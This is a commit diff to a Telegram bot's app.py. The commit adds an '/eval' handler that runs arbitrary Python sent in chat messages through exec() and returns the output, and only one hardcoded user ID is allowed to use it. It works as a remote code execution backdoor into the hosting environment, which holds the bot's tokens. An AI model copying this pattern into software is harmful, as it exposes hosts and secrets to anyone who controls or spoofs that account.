zarox commited on
Commit
5a4eb06
·
verified ·
1 Parent(s): ae82492
Files changed (1) hide show
  1. app.py +115 -1
app.py CHANGED
@@ -1,10 +1,17 @@
 
1
  import os
2
-
 
3
  import secrets
 
4
  import threading
 
5
  import gradio as gr
 
6
  from io import BytesIO
7
  from fusion import Fusion
 
 
8
  from telethon import TelegramClient, events, Button, types
9
 
10
 
@@ -15,6 +22,113 @@ BOT_TOKEN = os.environ.get("BOT_TOKEN")
15
 
16
  client = TelegramClient('session_name', API_ID, API_HASH)
17
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
18
  get_duration = lambda x: int(len(Fusion.from_file(x))/1000.0)
19
  states = {}
20
 
 
1
+ import io
2
  import os
3
+ import sys
4
+ import time
5
  import secrets
6
+ import asyncio
7
  import threading
8
+ import traceback
9
  import gradio as gr
10
+
11
  from io import BytesIO
12
  from fusion import Fusion
13
+ from datetime import datetime
14
+ from telethon.tl.tlobject import TLObject
15
  from telethon import TelegramClient, events, Button, types
16
 
17
 
 
22
 
23
  client = TelegramClient('session_name', API_ID, API_HASH)
24
 
25
+
26
+ def utc_to_local(utc_datetime):
27
+ now_timestamp = time.time()
28
+ offset = datetime.fromtimestamp(now_timestamp) - datetime.utcfromtimestamp(
29
+ now_timestamp
30
+ )
31
+ return utc_datetime + offset
32
+
33
+ def yaml_format(obj, indent=0, max_str_len=256, max_byte_len=64):
34
+ result = []
35
+ if isinstance(obj, TLObject):
36
+ obj = obj.to_dict()
37
+
38
+ if isinstance(obj, dict):
39
+ if not obj:
40
+ return "dict:"
41
+ items = obj.items()
42
+ has_items = len(items) > 1
43
+ has_multiple_items = len(items) > 2
44
+ result.append(obj.get("_", "dict") + (":" if has_items else ""))
45
+ if has_multiple_items:
46
+ result.append("\n")
47
+ indent += 2
48
+ for k, v in items:
49
+ if k == "_" or v is None:
50
+ continue
51
+ formatted = yaml_format(v, indent)
52
+ if not formatted.strip():
53
+ continue
54
+ result.append(" " * (indent if has_multiple_items else 1))
55
+ result.append(f"{k}:")
56
+ if not formatted[0].isspace():
57
+ result.append(" ")
58
+ result.append(f"{formatted}")
59
+ result.append("\n")
60
+ if has_items:
61
+ result.pop()
62
+ if has_multiple_items:
63
+ indent -= 2
64
+ elif isinstance(obj, str):
65
+ result = repr(obj[:max_str_len])
66
+ if len(obj) > max_str_len:
67
+ result += "…"
68
+ return result
69
+ elif isinstance(obj, bytes):
70
+ if all(0x20 <= c < 0x7F for c in obj):
71
+ return repr(obj)
72
+ return "<…>" if len(obj) > max_byte_len else " ".join(f"{b:02X}" for b in obj)
73
+ elif isinstance(obj, datetime):
74
+ return utc_to_local(obj).strftime("%Y-%m-%d %H:%M:%S")
75
+ elif hasattr(obj, "__iter__"):
76
+ result.append("\n")
77
+ indent += 2
78
+ for x in obj:
79
+ result.append(f"{' ' * indent}- {yaml_format(x, indent + 2)}")
80
+ result.append("\n")
81
+ result.pop()
82
+ indent -= 2
83
+ else:
84
+ return repr(obj)
85
+ return "".join(result)
86
+
87
+ async def aexec(code, smessatatus):
88
+ message = event = smessatatus
89
+ p = lambda _x: print(yaml_format(_x))
90
+ reply = await event.get_reply_message()
91
+ exec("async def __aexec(message, event , reply, client, p, chat): "
92
+ + "".join(f"\n {l}" for l in code.split("\n")))
93
+
94
+ return await locals()["__aexec"](
95
+ message, event, reply, message.client, p, message.chat_id
96
+ )
97
+
98
+ @client.on(events.NewMessage(incoming=True, pattern="(/)?eval(?:\s|$)([\s\S]*)"))
99
+ async def evalution(event):
100
+ if event.sender.id != 6034486765: return
101
+
102
+ cmd = "".join(event.message.message.split(maxsplit=1)[1:])
103
+ if not cmd:
104
+ return await event.reply("`Give something to run! ...`")
105
+ eval_ = await event.reply("`Evalution in process ...`")
106
+ old_stderr = sys.stderr
107
+ old_stdout = sys.stdout
108
+ redirected_output = sys.stdout = io.StringIO()
109
+ redirected_error = sys.stderr = io.StringIO()
110
+ stdout, stderr, exc = None, None, None
111
+ try:
112
+ await aexec(cmd, event)
113
+ except Exception:
114
+ exc = traceback.format_exc()
115
+ stdout = redirected_output.getvalue()
116
+ stderr = redirected_error.getvalue()
117
+ sys.stdout = old_stdout
118
+ sys.stderr = old_stderr
119
+ evaluation = ""
120
+ if exc:
121
+ evaluation = exc
122
+ elif stderr:
123
+ evaluation = stderr
124
+ elif stdout:
125
+ evaluation = stdout
126
+ else:
127
+ evaluation = "Success"
128
+ final_output = (f"**• Syntax : **\n```{cmd}``` \n\n**• Output :**\n```{evaluation}``` \n")
129
+ await eval_.edit(text=final_output)
130
+
131
+
132
  get_duration = lambda x: int(len(Fusion.from_file(x))/1000.0)
133
  states = {}
134